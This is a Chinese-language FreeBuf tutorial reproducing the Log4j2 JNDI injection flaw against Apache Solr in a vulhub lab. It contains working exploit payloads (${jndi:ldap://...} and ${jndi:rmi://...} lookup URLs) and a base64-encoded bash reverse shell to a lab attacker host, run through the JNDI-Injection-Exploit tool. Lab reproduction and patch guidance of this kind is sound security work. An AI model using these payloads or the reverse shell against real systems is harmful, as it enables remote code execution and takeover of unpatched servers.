freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

基于vulhub环境对log4j2漏洞原理的介绍和复现
2023-02-22 15:48:17
所属地 北京

1.概述

本文主要介绍log4j2漏洞的原理以及在vulhub环境下对log4j2漏洞的复现过程。

2.实验环境

vulhub地址:https://github.com/vulhub/vulhub

攻击机kali:192.168.145.130

3.漏洞原理

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

4.漏洞复现

4.1启动环境

搭建好vulhub环境后进入log4j目录下执行启动命令:docker-compose up -d

image

在浏览器中访问http://127.0.0.1:8983/solr/#/查看Apache Solr后台页面。

image

环境启动成功!

4.2漏洞复现

利用临时域名判断是否存在log4j2漏洞。
访问http://dnslog.cn/ 获取一个临时域名:b38hy1.dnslog.cn

image

通过更改获取的临时域名进行构造payload,
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://b38hy1.dnslog.cn}

image

访问之后发现有请求访问记录,说明log4j2漏洞

image

4.3反弹shell

jndi注入工具下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
通过base64对bash语句进行编码
bash -i >& /dev/tcp/192.168.145.130/2345 0>&1

image

将编码后的语句使用jndi注入工具执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xMzAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.145.130

image

通过jndi注入获得rmi和ldap相关参数,利用注入得到的结果可以构造payload尝试反弹shell。
在攻击机ip:192.168.145.130 使用nc命令监听端口2345
在宿主机unbutu浏览器中访问payload:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:rmi://192.168.145.130:1099/mcquut}

image

反弹shell成功,可以通过shell操作被攻击的机器。

5.修复建议

此漏洞的影响的版本为2.0到2.14.1,目前已经提供更高版本,可以升级版本避免log4j2漏洞的任意代码执行。

# 漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录